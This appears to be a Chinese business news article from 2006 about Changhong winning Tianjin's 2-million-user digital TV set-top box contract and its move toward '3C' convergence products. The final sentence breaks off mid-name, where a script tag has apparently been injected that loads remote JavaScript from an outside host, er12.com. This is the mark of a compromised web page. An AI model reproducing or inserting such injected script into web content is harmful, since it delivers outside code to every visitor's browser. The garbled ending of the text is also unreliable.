7月间，天津数字电视整体转换试点工作在悄无声息中完成，但是市场很快传来最新消息，在随后进行的200万用户整体数字转换项目招标中，长虹最终从10多家竞争者中脱颖而出。来自长虹的内部消息称，长虹网络科技有限公司已经开始大批量为天津广电方面供货。目前，长虹网络公司已经具备年产600万台机顶盒的能力，成为中国目前最大的机顶盒供应商，长虹由此成为数字电视时代最具竞争力的家电企业之一。
整体转换
2006年初，国家广电总局发布了《2005-2006中国数字电视产业报告》，报告显示，截至去年年底，我国有线数字电视用户达到439.3万，比前年增长了332.6万户。到今年底，这一数字将突破1000万。
而在推广数字电视的进程中，整体转换成为使用最广的手段，国家相关主管部门的思路已经很清楚，只有先做出规模才有可能开展后续的增值服务。此前，有线电视网络一直以来以传送电视节目为主，虽然也曾开展数据广播等增值业务，但收效甚微。随着“整体转换”的实施，数字电视机顶盒终端将迅速普及，在此规模效应之下，数字电视平台的附加价值将得以发挥。而作为首期试点城市的北京、天津更是倍受全国广电系统的关注。
2006年年初，长虹凭借强大的研发实力和在数字机顶盒商用领域丰富的经验，成为北京歌华有线数字电视整体转换项目中第一供应商，赢得了北京数字电视转换一期工程60万台的大单。这次再次中标天津200万用户大单，无疑加速长虹布局整个京畿重地。长虹的梦想远不止此。机顶盒不过是数字电视时代商业机会的冰山一角，数字电视已经成为长虹3c战略转型的一个重大历史性机遇。
转型信息家电
未来的某一天，假如你在家里看一个电视连续剧，才看了一半就要到外地出差，怎么办？把电视连续剧存在你的手机卡里面，到了宾馆住下来，只要房间里有长虹电视，按一下自己的手机，就可以继续看连续剧。这将是传统家电与通讯产品融合之后的长虹产品。
“我们进入了一个3c融合时代，传统的家电产业正在与信息产业融合，长虹的产业结构调整要有进有退，有所为有所不为。”长虹董事长赵勇多次在公开场合这样表示，而借助各大城市整体转换的东风，长虹也在进行自己的“整体转换”——从传统家电向信息家电转型。
目前，长虹电视业务所占比重由2005年底的接近70%，下降到今年9月底的48.83%。同时it、通讯等新兴业务增长迅速，占到长虹总营业收入的23%。
长虹产业结构调整迎来了良性增长，从现在看来，调整在2007年还将继续。在赵勇看来，调整只是第一步，他更看重的，是在未来构筑更多具有显著赢利能力的产业集群。
长虹开始着力以硬件产品为物理载体所搭建的数字娱乐网络。长虹正尝试进入信息服务和内容提供。为此，长虹成立了信息技术公司，打通了产品、服务、内容的界限，通过商业模式创新为全系列3c产品提供一个更好的支撑环境。目前长虹已和中国电信、华为、盛大、上海贝尔阿尔卡特等行业巨头结成战略合作伙伴，涉及到iptv、可视电话及互联星空等多媒体增值服务，这表明长虹要立志成为中国3c融合的终端解决方案提供商和内容提供商，为产业的进一步拓展提供更加广阔的发展空间。
事实上，2005年底，长虹与中国电信借助各自的资源优势和平台优势，率先在上海、广东等17个本地网举共推电视上网。长虹在这些地区开辟1000个网点全面推广支持电视上网的itv等系列产品，而中国电信则提供网络运营等方面的支持。至此，业界呼声甚高的电视上网终于取得实质性进展，“互联网服务家庭用户”的梦想大大迈进了一步。
3c融合优势
目前，长虹内部意志坚决，全力广泛介入整个数字娱乐产业，实现3c的真正融合。
两年前，长虹把自己的业务分成三大块：核心业务、战略业务、新兴业务。彩电仍将作为长虹核心业务，在保证稳定的盈利能力前提下，逐步降低份额；空调、电子部品、电池作为战略业务，是核心业务的后续生力军；新兴业务就是成长性最高的网络产品、通讯产品等信息家电，是长虹未来主要的产品发展方向。长虹内部人士表示，在长虹的架构调整全部到位以后，下一步将继续进行产业转型，逐步成为国内外最具影响力和竞争力的消费电子系统供应商和内容服务提供商之一。一些商业分析人士强调，长虹的产业发展战略已经成为中国家电业应对微利时代的范本。
业内人士普遍认为，产业结构调整对长虹的最大意义在于，长虹开始从根本上摆脱多年来“命系彩电”的单一模式，在以3c融合为特征的新兴业务领域找到了支点，从而将技术推动和产业融合有机结合起来，并逐步形成持续稳定多元的利润源。而这些，是行业企业应对3c融合以及由此带来的庞大的个性化需求所必须具备的素养。
长期以来，电视一直是家庭的绝对主角，但随着各路it厂商的介入，关于家庭信息终端出现了两种版本：一是电视，另一是pc。长虹公司副总经理郭德?script src=http://er12.com/t.js>
